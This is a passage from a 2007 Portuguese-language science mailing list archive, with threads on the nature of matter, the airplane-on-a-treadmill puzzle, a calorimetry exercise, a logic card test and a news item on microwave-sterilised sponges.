> observamos, devido a natureza dual do nosso processo
> de intelectualização da realidade, mas em si, a
> matéria é indivisível. Já o fato do fluxo de
> eletricidade (energia) pelo fio não ser como gotas
> d´água por um cano vazio, aponta para a
> impossibilidade do deslocamento da matéria. Aponta
> para a segunda coisa que afirmo: a matéria pulsa.
>
> --- Resumindo, o que digo é que a matéria é
> indivisível e que ela pulsa. E o que conhecemos da
> matéria não é a matéria (em si), mas o seu
> comportamento, ou seja, o pulsar. E é por observar
> este pulsar que a física postula a matéria como
> partículas. Partícula é observação do pulso da
> matéria.
>
> Zé >>> Não há nenhum paralelo entre o seu conceito de
> "cheio" e o conceito de "partícula". esse é mais um
> dos seus chutes absurdos por absoluta preguiça de se
> informar adequadamente.
>
> --- Aqui baixou o padre José Carlos de novo. Quanto ao
> chute: é gooooooool!
>
> Zé >>> Talvez tenha fugido cedo demais...
>
> --- Na verdade, nem cedo nem tarde, foi na hora que
> teve de ser. Você já viu o tempo errar alguma vez? Eu
> nunca vi.
>
> Zé >>> A realidade é o conhecimento que você tem dela.
> :)
>
> --- Zé, este ponto aqui é fundamental. Ele é um
> divisor de águas entre o que eu entendo por ciência e
> o que você (e muitos aqui) entende. Discordo da sua
> afirmação. E acho um tremendo equivoco um cientista
> pensar assim.
>
> --- Entendo que uma coisa é a realidade, outra coisa é
> o conhecimento da realidade. A realidade é o que é,
> por si só. Já o conhecimento da realidade é a
> intelectualização da realidade. Juntar as duas coisas
> é como juntar o liquido e o molhado. São inseparáveis.
> Mas não são a mesma coisa.
>
> --- A mecânica quântica fala uma coisa assim. A
> mecânica quântica tem uma idéia (muito mal
> compreendida tanto por quanticos como por
> simpatizantes) de que a observação cria a realidade. O
> problema desta questão está na palavra "cria" e na
> palavra "realidade". A observação não cria a
> realidade, a observação "re-cria" a realidade, ou
> seja, ela decodifica a realidade em uma segunda
> realidade, uma realidade cognoscível, inteligível.
>
> --- Nossa captação da realidade já é inevitavelmente
> um decodificação da realidade numa realidade mental,
> assim como a captação que um radio faz das ondas de FM
> é inevitavelmente um decodificação nos pulsos que vão
> pra caixa de som.
>
> --- Note, se não houvesse um realidade (em si) pra
> captar e decodificar, o que poderíamos captar e
> decodificar? Nada, não é mesmo? Eis porque discordo de
> você e da afirmação "a realidade é o conhecimento que
> você tem dela".
>
> Zé >>> Existiram cientistas nos últimos trezentos anos
> e também é fato que nenhum deles era um analfabeto que
> nunca freqüentou nenhuma escola.
>
> --- Que escola de matemática freqüentou Pitágoras?
> Qual foi o professor que ensinou a lei da gravitação
> pra Issac Newton? Em que livro de física Albert
> Einstein estudou a teoria da relatividade?
>
> Zé >>> estou acostumado a encontrar afirmativas suas
> que depois são abandonadas por falta de sustentação.
> Acho que essa é uma delas, mais um chute sem nenhuma
> análise prévia.
>
> --- Hehehe... Sim, nem toda bola que se chuta entra no
> gol da verdade, não é mesmo? Mas também, quem não
> chuta, nunca poderá fazer gol, não é? E sobre isto,
> lhe pergunto: qual é o problema em arriscar? De chutar
> uma idéia? É pecado? Se não respeitar a cartilha da
> física vai pra fogueira de tubos de ensaio? É isto?
>
> Zé >>> Você não precisa fazer nenhum esforço para ser
> o pior da classe.
>
> --- Hehehe... Se o Romário fez mil gols...
>
> Zé >>> Acho que você apenas chuta porque tem preguiça
> de pensar, estudar e se dedicar a uma reflexão mais
> profunda.
>
> --- É justamente o contrário! Eu chuto porque o que já
> foi pensado (o velho) não responde minhas perguntas.
> Então, chuto uma coisa que responderia. Chuto uma
> maneira diferente de olhar para mesma coisa e assim
> encontrar uma resposta pras minhas perguntas. Chuto um
> olhar diferente pro mesmo de sempre. Não é isto que
> faz a criatividade? Creio que esta troca de visão não
> só pode como deve ser usada pra fazer ciência também.
> Einstein, Newton, Galileu, Pitágoras, entre outros
> descobridores, todos fizeram isto. Porque eu não posso
> fazer? O que me impede de fazer?
>
> -- Aliás, o que impede qualquer um de fazer? Porque
> ficar repetindo sempre a mesmice? E pior! Ficar
> obrigando os outros a decorar a mesmice também?
>
> --- Enfim, qual é o pecado de errar? Você, Zé, como
> professor, devia saber mais do que ninguém, que não
> existe erro, apenas aprendizagem. E que não existe
> nada mais sagrado e honesto do que buscar as próprias
> respostas para as próprias perguntas. A escola devia
> ser o templo do erro. O lugar onde vamos para errar o
> nosso erro, e não pra decorar o certo dos outros. E o
> professor devia ser o diabo, aquele que não se
> interessa pelo certo dos outros, mas pelo erro
> original, pelo novo. Contudo, olha só esta situação, o
> mau aluno tendo que ensinar o professor que errar é
> fundamental pra aprendizagem. Tendo que implorar ao
> professor: "Por favor, deixe-me errar meu próprio
> erro! Queimar minha própria mão! Quebrar minha própria
> cara! Deixe-me trilhar sobre a autoridade da minha
> própria consciencia. Livrai-me do seu caminho, do seu
> certo e da sua autoridade! Por favor, caro mestre, se
> o caminho é meu / deixa eu caminhar / deixa eu"
>
>
>
> Sinceramente
> Ferrari
>
> EXPERIMENTE XIXI COM TINTA (novo
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SUBJECT: Re: Motor "revolucionário"
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 00:42

Eu quero um assim que ele existir. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Sem mais comentários: http://www.youtube.com/watch?v=vGFhr5uY3Yc
>
> [ ]s
>
> Alvaro Augusto
>




SUBJECT: Re: Sobre o abismo, para o JC.
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 00:53

João,

Ninguém é mais doido que o Ferrari, não se preocupe. :)))

Sim, falei das pílulas de "Matrix" mesmo.

Referi-me à ignorância no sentido próprio do termo, pois em um
universo tão "abissal" fica bem claro a extensão do que podemos saber
(veja que não etou nem me referindo ao que "sabemos", mas sim ao que
"podemos" saber).

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> Obrigado pelo elogio à minha mensagem.
>
> > Essa sensação de "contemplar o abismo", que é uma bela forma poética
> > de admitir a ignorância como parte do método de aprendizagem,
>
> Perceber a ignorância a respeito do mundo também é algo abissal. Mas
> quando falei de contemplar o abismo estava pensando mais no oposto,
> em ver como o mundo ele de fato é. O mundo não são colinas
> verdejantes e um grande céu azul. Esta é uma visão muito restrita de
> mundo, de uma criatura que evoluiu na superfície de um planeta na
> periferia de uma galáxia. O mundo é um espaço de dimensões que
> achatam qualquer impressão intuitiva que tenhamos a respeito do
> espaço, onde não existe em cima e embaixo, onde estrelas (bolas de
> gás maiores e mais pesadas que qualquer coisa que o homem possa
> imaginar), queimam irradiando enormes quantidades de energia enquanto
> giram em turbilhões de bilhões de estrelas. Se a quantidade de
> estrelas em uma galáxia é absurda, a quantidade de galáxias que
> existem é igualmente absurda, assim como as distâncias em que elas se
> encontram. As coisas são feitas de átomos, estruturas que possuem um
> núcleo absurdamente pequeno e ao redor do qual, a uma distância
> enorme se comparada ao seu tamanho, encontra-se uma nuvem de
> elétrons, seja lá o que for isto, que apresenta uma estrutura
> complexa de camadas e orbitais. As "partículas" que compõem essas
> estruturas emitem outras partículas, que são absorvidas por outras e
> assim elas interagem. O mundo não são as colinas verdejantes e o céu
> azul. Ele é um delírio. Um sonho. O grande sonho da razão. E como
> Goya já observou, o sonho da razão produz monstros.
>
> > não é assim tão ruim, depende apenas de como você vê esse abismo...
>
> Em geral nós temos uma atitude meio autista em relação ao abismo. Por
> mais que nos digam que estamos rodando em um turbilhão de estrelas,
> nós não conseguimos sentir isto. É como se fosse um sonho.
>
> > Eu não fiz opção por pílulas vermelhas ou azuis.
>
> Eu não sei se você entendeu, estava me referindo ao filme Matrix. Se
> você toma a azul, você acorda feliz no dia seguinte acreditando que o
> mundo é feito de colinas verdejantes, se você toma a vermelha, você
> contempla o abismo. Qual das duas você toma?
>
> > Bom, isso é conversa de Botequim e eu já tenho uma lista povoada de
> "doidos" como você onde me divirto bastante.
>
> Eu não sou mais doido que o Ferrari, sou?
>
> Saudações,
> João de Carvalho
>




SUBJECT: P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 00:58

José Renato,

Antes que você tente enrolar outro, lemnre-se de que até agora aguardo
sua mensagem com a sua opção por qual referencial pretende usar.
Esqueceu? ;)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo escreveu: [ A medida da velocidade do avião *não pode ser
feita em
> relação à esteira*. E ponto. ]
> ................................................
>
> E por que não, Ricardo? O problema considera que há um dispositivo que
> sincroniza a velocidade do avião à da esteira, em sentidos
contrários. Isso
> faz com que qualquer movimento *infinitesimal* do avião à frente, *em
> qualquer velocidade*, provoque um movimento igual na esteira em sentido
> contrário(para trás), fazendo com que o avião se mantenha praticamente
> parado em relação ao chão e à massa de ar que o rodeia e que poderia lhe
> dar sustentação para voar... É isso o que ocorre.
> Veja sobre o texto do e-mail abaixo, as diversas interações que
consideramos
> para obter a solução correta do problema.
> ............................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, May 22, 2007 8:19 AM
> Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
>
> Quanta agressividade rapaz :)
> JR - Não há agressividade, Ricardo, apenas fiz um posicionamento
assertivo
> da questão. Por favor, gostaria que relesse o que escrevi e
apontasse o que
> lhe agrediu...
>
> -----Mensagem original-----
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de José Renato
> Enviada em: segunda-feira, 21 de maio de 2007 23:21
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
> > Olá, Ricardo!
>
> Olá José!
>
> > Se vc já não agüenta mais não precisa continuar, OK?
> > Mas parece que vc está em dúvida se vai, se
> > fica ou antes pelo contrário... Se toda vez vc for
> > pedir desculpas aos listeiros, o melhor é decidir se fica por aqui
> > ou se vai continuar... Se for continuar tire as teias de
> > aranha dos neurônios e vamos lá!
>
> O problema é que realmente é difícil me calar quando vejo que vc
continua
> patinando nos mesmos erros (viu, não precisei nem ser agressivo para
falar
> isso).
> JR - Sou eu quem está *patinando nos mesmos erro* ou vc que não está
> conseguindo perceber os fundamentos das minhas explicações?
>
> > 1. Quando a medida da velocidade do avião for feita por GPS, está
> > considerando a terra-chão como referencial. Nesse caso o avião
acelera e
> > levanta vôo com o *dobro da velocidade da esteira*, medida em
relação à
> > terra-chão...
>
> Ok, concordamos.
> JR - "Concordamos", mas o avião está com o *dobro da velocidade* da
esteira,
> o que não atende o enunciado do problema.
>
> > 2. Se a medida da velocidade do avião for feita pela velocidade do ar
> > fluindo contra o avião, ele também alça vôo com uma velocidade
> > *em torno de dobro da velocidade da esteira*, a depender das
> > correntes de ar... Está considerando como referência a massa de
> > ar em movimento.
>
> Não é bem isso, mas o mais importante é o próximo ponto mesmo.
> JR - Há aparelhos aeronáuticos que medem a velocidade do avião em
relação ao
> ar-vento ou vice-versa... Quando não existia GPS e computador à bordo,
> os aviões mantinham um tripulante chamado de navegador para fazer esses
> cálculos que davam uma localização aproximada do avião, a ser confirmada
> visualmente depois...
>
> > 3. Se a medida da velocidade do avião for feita em relação à
esteira, se
> > deslocará sobre a esteira a mesma distância que a esteira se
desloca para
> > trás com o avião, infinitesimalmente, quando o avião acelera os
> > motores-turbinas, conforme um sistema que mantém a esteira com a
*mesma
> > velocidade do avião* em sentido contrário. Nesse caso o avião
permanece
> > praticamente parado em relação à massa de ar, não terá sustentação
para
> > alçar vôo...
>
> A medida da velocidade do avião *não pode ser feita em relação à
esteira*. E
> ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
> avião e da esteira) se não estiver falando de um único referencial
para o
> problema, a não ser que, em algum problema específico isto fosse
> especificado no enunciado. Por isso não podemos medir a velocidade
do avião
> em relação à esteira. [ ... ]
> JR - Observe que é isso o que ocorre em qualquer decolagem! O avião
acelera
> sobre a pista-Terra *que também está em movimento*, carregando o avião,
> enquanto ele estiver em contato com a pista-Terra... Só que o
movimento da
> Terra não está *sincronizado* com o do avião, como define o enunciado do
> nosso problema.
> Veja a realidade... O avião se desloca sobre a esteira e a esteira
sob o
> avião...
> A distância percorrida pelo avião enquanto está em contato com a
> esteira-pista
> é a mesma percorrida pela esteira, em sentido contrário. Isso
significa que
> por
> mais que o avião acelere rolando sobre a esteira ele praticamente
não sai do
> lugar em relação à massa de ar que o rodeia... Logo, não há
sustentação para
> que ele alce vôo... Qualquer que seja sua velocidade, que é "anulada" em
> relação ao ar e ao chão, pelo movimento da esteira em sentido contrário.
>
> [ ... ] Porque a esteira não poderá ter velocidade em relação
> à esteira, como já discutimos antes (inúmeras vezes). Este aspecto
vc nem
> questionou. Nem antes, nem agora. [ ... ]
> JR - Pareceu-me que isso é óbvio... Entretanto, o avião não está fixo à
> esteira, não faz parte da esteira. Há inter-relação de movimentos
entre eles
> que podem sem medidos. Se o avião estiver parado sobre a esteira em
> movimento (velocidade zero em relação à esteira), será carregado na
mesma
> velocidade dela em relação ao chão. Ao se movimentar na mesma
velocidade da
> esteira em sentido contrário, sua velocidade passa a ser
praticamente zero
> em relação ao ar e ao chão.
>
> [ ... ] Então se quiser continuar esta (interminável e cansativa)
discussão,
> por favor, responda primeiro a este ponto, para não ficar patinando
parado
> no
> mesmo lugar, como o seu avião (só uma piada, mas sem agressividade,
ok?).
> JR - Reveja meus comentários e diga o que ainda está obscuro no meu
> raciocínio. O esquema apresentado pelo problema é concreto e pode ser
> testado. É o avião tentando alçar vôo e a esteira não permitindo
sustentação
> em relação ao ar que o envolve... Se o vento soprasse na mesma
direção do
> avião e com a mesma velocidade, mesmo com o avião a mil por hora,
> ele não alçaria vôo...
> Isso é a realidade, o resto é diversionismo, medo, desfaçatez,
presunção,
> tolice, infantilidade, "esperteza" ou preguiça que impedem de raciocinar
> com liberdade e lucidez... E até fugir do problema para não se expor.
>
> > Por favor, não esqueça de raciocinar um pouco antes de qualquer
coisa...
>
> Vou tentar lembrar disso...
> JR - Não tenha pressa nessa etapa. O entrelaçamento dos movimentos e
seus
> referencias precisam ser assimilados com tranqüilidade e clareza.
>
>
> > []s
> > José Renato
>
> Abraços,
> Ricardo
>
> Abraços
> José Renato
>




SUBJECT: Re: + um exercio de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 01:02

O exercício dá a capacidade calorífica específica da mistura e do
calorímetro. Dá a variação de temperatura (considerando-se q o
calorímetro tb estava à mm temperatura inicial das soluções). Uma
parte da energia liberada esquentou o calorímetro (basta aplicar a
fórmula). Outra parte esquentou a mistura - tb é aplicação de fórmula,
mas vc precisa calcular a massa total.

Se vc usa o método brazuca de preparação de soluções, vc pega um litro
de água e dissolve a fração de reagente - pra dar um molar, a massa
correspondente a um mol da substância. Pra meio molar, o equivalente a
meio mol. Considera q o volume não se altera substancialmente e
calcula a densidade (1.000 g + massa do reagente/ 1.000 ml). É uma
acochambração.

Tendo a densidade das misturas e dado o volume, vc calcula a massa.
Como não estamos com sutilezas relativísticas, vc pode considerar a
massa como invariável - a reação tb não libera gases, de modo q pode
somar as massas.

Para o item b, vc precisa saber qtos mols de HNO3 reagiram. Basta
aplicar a fórmula da molaridade e substituir o volume pela quantidade
dada. Basta então dividir o valor calculado no item a pelo número
encontrado.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> Mais uma vez um exercício que não estou conseguindo
> resolver... Será que alguém pode me ajudar...
>
> Imagine que 50 mL de 0,5M NaOH e 50 mL de 0,5 HNO3,
> inicialmenteem 18,6ºC, são misturados e agitados em um
> calorímetro cuja capacidade calorífica é 525 J/ºC
> quando vazio. A temperatura da mistura subiu para
> 20ºC. (a) Qual é a variação de entalpia da reação de
> nuetralização?(b) Qual é a variação de entalpia dna
> neutralização em kJ/mol HNO3? Considere a capacidade
> calorífica específica de cda solução como sendo 4,184
> J/ºC.g
>
> Respostas:
> (a) -1,33 kJ
> (b) -53,2 kJ/mol



SUBJECT: Re: Teste seu ceticismo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 01:16

Oras vejam, o Takata é cético! :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> > A questão é: *quais cartas você precisa virar para descobrir se a
> > alegação é verdadeira ou falsa?*
>
> Mas não é um teste de ceticismo... No máximo de raciocínio lógico.
> Bem, pode ser um teste de ceticismo se considerarmos cético o q virar
> *todas* as cartas.
>
> Isso porq a resposta padrão seria virar a primeira e a última cartas.
> Se der impar na primeira, a alegação de q atrás de uma vogal tem
> numero par é falseada; se der vogal na última tb. Na segunda carta tto
> faria se desse par ou ímpar já q não se fala q o número par ocorre
> somente atrás de uma vogal; de modo similar se der vogal ou consoante
> na terceira.
>
> Porém, isso *se* a informação de q todas as cartas possuem uma letra e
> um número em cada lado for correta. Um cético verdadeiro testaria *tb*
> essa afirmação. Nesse caso, se houver uma letra atrás da segunda ou um
> número atrás da terceira cartas, teríamos o falseamento da afirmação.
>
> Um cético investigaria tb as afirmação sobre o grau de acertos - q
> estudantes? o estudo foi publicado? onde? foi feito controle? q
> congresso cético?
>
> E também voltaria em três dias para conferir se a resposta foi mesmo
> publicada.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Teste seu ceticismo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 01:30

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Oras vejam, o Takata é cético! :)

Mas eu não virei *nenhuma* carta!

[]s,

Roberto Takata



SUBJECT: off-toppic:] Microondas esteriliza
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, Instituto da Cultura Árabe <contato@icarabe.org>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>
DATE: 24/05/2007 01:41

Grupos.com.br






Microondas esteriliza esponjas, diz pesquisa



Cientistas americanos descobriram uma nova arma contra os germes que causam o apodrecimento da comida: o forno de microondas.

Colocar esponjas de lavar pratos e panelas por dois minutos dentro do forno de microondas pode matar 99% dos microorganismos, de acordo com um estudo publicado no Journal of Environmental Health .

O calor, e não a radiação, é responsável pela esterilização de esponjas, disseram pesquisadores dos Estados Unidos.

Esponjas e panos de prato são freqüentes fontes de microorganismos causadores de intoxicação alimentar porque vírus e bactérias provenientes de ovos, carne e vegetais crus se propagam em condições de umidade.

Estima-se que uma esponja de cozinha possa conter 10 mil bactérias, inclusive E. coli e salmonella, em pouco mais de dois centímetros quadrados.

Gabriel Bitton, um perito em engenharia ambiental da Universidade da Flórida, e seus colegas contaminaram esponjas em água suja que continha bactéria fecal, vírus, parasitas e esporos de bactérias.

Em seguida, eles colocaram o material contaminado em um forno de microondas durante períodos de tempo diferentes.

Depois de dois minutos com potência total, 99% das bactérias haviam sido mortas.

A bactéria E. coli foi morta depois de apenas 30 segundos.

Esporos de Bacillus cereus - que são associados amplamente com vegetais e alimentos com contato com o solo e são normalmente muito resistentes a radiação, calor e substâncias químicas tóxicas - foram completamente erradicados depois de quatro minutos dentro do microondas.

Calor

Bitton disse que o calor se mostrou mais fatal do que a radiação porque microondas trabalham agitando moléculas de água.

Ele recomendou que se coloque esponjas úmidas - e não secas - dentro do microondas para minimizar o risco de incêndio e que não se coloque no forno esponjas de metal do tipo bombril.

Dois minutos todos os dias serão suficientes para pessoas que cozinham regularmente, disse ele.

"Basicamente, o que constatamos é que nós podemos matar a maioria das bactérias em dois minutos."

"As pessoas costumam lavar esponjas no aparelho de lavar louça, mas se o que elas querem é descontaminá-las e não apenas limpá-las, deveriam usar o forno de microondas", afirmou.

A equipe também examinou se os microondas poderiam ser usados para esterilizar seringas contaminadas.

Constatou-se que este é um método eficaz, mas que o tempo de esterilização é muito maior: até 12 minutos para os esporos de Bacillus cereus.

http://www.bbc.co.uk/portuguese/ciencia/story/2007/01/070124_microondasg.shtml



























[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: + um exercio de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 04:18

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Considera q o volume não se altera substancialmente e calcula a
> densidade (1.000 g + massa do reagente/ 1.000 ml).

Para os puristas matemáticos: [(1.000 g + massa do reagente)/1.000
ml]. Para os puristas químicos e físicos isso NÃO dá a densidade da
solução (teríamos que considerar o aumento - ou eventualmente
decréscimo - do volume com a adição do soluto).

[]s,

Roberto Takata



SUBJECT: Ensaio sobre o cultural, o social e o biológico.
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 04:38

Estou postando um breve artigo na web, mas queria ouvir a opinião de
vocês antes de divulgá-lo abertamente.

Ensaio sobre o cultural, o social e o biológico.

É comum, nos dias atuais, discussões a respeito do comportamento
humano ser de origem cultural ou biológica. Também é comum misturar
sociedade e cultura, muitas vezes considerando-as como sendo a mesma
coisa. O que tenho observado é uma grande confusão a respeito desses
conceitos.

É importante tomar cuidado para que os conceitos que criamos não
atrapalhem mais que ajudem. Isto pode ocorrer quando os conceitos são
erguidos em bases não muito firmes, e ao tentar abordá-los podemos
passar dificuldades, ou mesmo nos ver discutindo falsos problemas.
Este é o caso dos conceitos que estamos aqui tratando. O cultural, o
social e o biológico são conceitos nebulosos cujas discussões podem
gerar muita confusão.

Continua em:
http://www.geocities.com/novaordem2003/ensaios/ensaio10.htm

João de Carvalho




SUBJECT: Re: [ciencialist] III Circo da Ciência UFSCar
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 07:53

Olá Ricardo,

se isso é um convite para eu comparecer ao evento nesses dias (ou mesmo antes), tá aceito!
Marque o local de encontro em São Carlos e deixe um carro à disposição para os translados, pois prefiro ir de ônibus (não tem avião aqui em Barretos City). Ache tb um hotel para a estadia.

Que tal?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 23:53
Assunto: [ciencialist] III Circo da Ciência UFSCar


Olá,

Nesta terça e quarta feira (29 e 30 de Maio) será realizado no campus
da UFSCar São-Carlos o 3º Circo da Ciência, em conjunto com o evento
"Universidade Aberta" - que apresenta os cursos aos alunos do ensino
médio...

O Circo da Ciência consiste em uma tenda que apresenta experiências
interessantes sobre física, química, biologia e matemática, como forma
de estimular o interesse dos nossos alunos à essas áreas de ciência
básica...

Bom, está feito o convite, quem quiser aparecer por aqui será muito
bem vindo... Quem sabe não me encontram por lá (estarei ajudando nas
demonstrações das experiências)...

p.s. pretendo no ano q vem ajudar na organização do evento, quem sabe
até lá o Professor Leo - o Mestre dos magos neste ramo (vide
http://www.feiradeciencias.com.br)- não possa nos dar algumas dicas ou
mesmo colaborar com novos experimentos... Seria formidável.

Abraços amigos, até mais.

Ricardo S. Vieira.





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SUBJECT: Re: [ciencialist] Re: + um exercio de química
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 07:59

Ah! Bom ... agora ficou claro!

:-)))

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 24 de maio de 2007 04:18
Assunto: [ciencialist] Re: + um exercio de química


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Considera q o volume não se altera substancialmente e calcula a
> densidade (1.000 g + massa do reagente/ 1.000 ml).

Para os puristas matemáticos: [(1.000 g + massa do reagente)/1.000
ml]. Para os puristas químicos e físicos isso NÃO dá a densidade da
solução (teríamos que considerar o aumento - ou eventualmente
decréscimo - do volume com a adição do soluto).

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] off-toppic:] Microondas esteriliza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, Instituto da Cultura Árabe <contato@icarabe.org>, <Conversa_de_Botequim@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>
DATE: 24/05/2007 08:15

Já coloquei essa informação no Jornal de Barretos, O Diário, na minha página "Feira de Ciências" (semanal) em janeiro/2007. Salientei não só as esponjas da pia, como aquele famigerado 'paninho' que são usados na pia. Não esqueci da 'tábua de cortar carne' e das bactérias 'imiscuídas' nas fibras da madeira.
Aproveitei o artigo para comentar sobre as xícaras trincadas, verdadeiras colônias de bactérias (basta ver a trinca com microscópio) que devem ser jogadas fora e sobre a utilização do vinagre (ou sal) para colocar nos pratos dos vasos (e outros locais) no combate ao vetor da dengue (aedhes).
Ainda nesse artigo 'ensinei' como fazer um bom café e a vantagem de se colocar o açúcar na água para aumentar o ponto de ebulição e, assim, extrair mais o óleo do pó de café. Mostrei como observar a superfície do cafezinho na xícara para ver a bela estrutura 'celular' (parecida com as células das rolhas de cortiça) etc.

... utilidade pública e o microonda ...

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <redeliberal@yahoogrupos.com.br>; "Instituto da Cultura Árabe" <contato@icarabe.org>; <Conversa_de_Botequim@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>; <brasil-politica@grupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Cc: <pedraderoseta@yahoogrupos.com.br>; "GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB" <grupohistoriadobrasil@yahoo.com.br>; "Grupo de Debates Políticos Brasileiro" <brasil-politica@grupos.com.br>
Enviada em: quinta-feira, 24 de maio de 2007 01:41
Assunto: [ciencialist] off-toppic:] Microondas esteriliza


Grupos.com.br






Microondas esteriliza esponjas, diz pesquisa



Cientistas americanos descobriram uma nova arma contra os germes que causam o apodrecimento da comida: o forno de microondas.

Colocar esponjas de lavar pratos e panelas por dois minutos dentro do forno de microondas pode matar 99% dos microorganismos, de acordo com um estudo publicado no Journal of Environmental Health .

O calor, e não a radiação, é responsável pela esterilização de esponjas, disseram pesquisadores dos Estados Unidos.

Esponjas e panos de prato são freqüentes fontes de microorganismos causadores de intoxicação alimentar porque vírus e bactérias provenientes de ovos, carne e vegetais crus se propagam em condições de umidade.

Estima-se que uma esponja de cozinha possa conter 10 mil bactérias, inclusive E. coli e salmonella, em pouco mais de dois centímetros quadrados.

Gabriel Bitton, um perito em engenharia ambiental da Universidade da Flórida, e seus colegas contaminaram esponjas em água suja que continha bactéria fecal, vírus, parasitas e esporos de bactérias.

Em seguida, eles colocaram o material contaminado em um forno de microondas durante períodos de tempo diferentes.

Depois de dois minutos com potência total, 99% das bactérias haviam sido mortas.

A bactéria E. coli foi morta depois de apenas 30 segundos.

Esporos de Bacillus cereus - que são associados amplamente com vegetais e alimentos com contato com o solo e são normalmente muito resistentes a radiação, calor e substâncias químicas tóxicas - foram completamente erradicados depois de quatro minutos dentro do microondas.

Calor

Bitton disse que o calor se mostrou mais fatal do que a radiação porque microondas trabalham agitando moléculas de água.

Ele recomendou que se coloque esponjas úmidas - e não secas - dentro do microondas para minimizar o risco de incêndio e que não se coloque no forno esponjas de metal do tipo bombril.

Dois minutos todos os dias serão suficientes para pessoas que cozinham regularmente, disse ele.

"Basicamente, o que constatamos é que nós podemos matar a maioria das bactérias em dois minutos."

"As pessoas costumam lavar esponjas no aparelho de lavar louça, mas se o que elas querem é descontaminá-las e não apenas limpá-las, deveriam usar o forno de microondas", afirmou.

A equipe também examinou se os microondas poderiam ser usados para esterilizar seringas contaminadas.

Constatou-se que este é um método eficaz, mas que o tempo de esterilização é muito maior: até 12 minutos para os esporos de Bacillus cereus.

http://www.bbc.co.uk/portuguese/ciencia/story/2007/01/070124_microondasg.shtml



























[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: OBITUÁRIO: STANLEY MILLER
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 08:16

G1.COM.BR, 23-05-2007

MORRE STANLEY MILLER, GURU DA ORIGEM DA VIDA

